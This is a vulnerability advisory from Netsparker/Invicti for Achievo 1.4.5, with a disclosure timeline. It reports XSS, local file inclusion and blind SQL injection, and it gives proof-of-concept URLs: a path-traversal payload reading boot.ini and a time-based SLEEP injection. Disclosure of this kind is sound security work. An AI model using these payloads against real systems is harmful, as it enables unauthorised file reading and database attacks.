XSS, LFI and SQL Injection Vulnerabilities in Achievo


Advisory by Netsparker (now Invicti)
Name:  XSS, LFI and SQL Injection Vulnerabilities in Achievo
Software:  Achievo 1.4.5 and possibly below.
Vendor Homepage:  http://www.achievo.org
Vulnerability Type:  Cross-Site Scripting, Local File Inclusion and SQL Injection
Severity: Critical
Researcher: Canberk Bolat
Advisory Reference:  NS-12-016


Achievo is a flexible web-based resource management tool for business environments. Achievo’s resource management capabilities will enable organizations to support their business processes in a simple, but effective manner.


Achievo is affected by XSS, LFI, and SQL Injection vulnerabilities in version 1.4.5.

  • XSS: http://example.com/dispatch.php (GET: atklevel, atkaction, atkstackid, atkselector, atkfilter, searchString)
  • LFI: http://example.com/dispatch.php?atkaction=search&atknodetype=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00.search&searchstring=3
  • SQL Injection: http://example.com/achievo-1.4.5/dispatch.php?atknodetype=employee.userprefs&atkaction=edit&atkselector=(SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)&atklevel=-1&atkprevlevel=0&=3

Learn more about Cross-Site Scripting, LFI, and blind SQL Injection vulnerabilities:

Advisory Timeline

23/01/2011 – First contact
25/02/2012 – Second contact – No response
01/11/2012 – Advisory released


It has been discovered on testing of Invicti Web Application Security Scanner.


  1. MSL Advisory Link: /web-applications-advisories/xss-lfi-and-sql-injection-vulnerabilities-in-achievo/
  2. Invicti Advisories: /web-applications-advisories/

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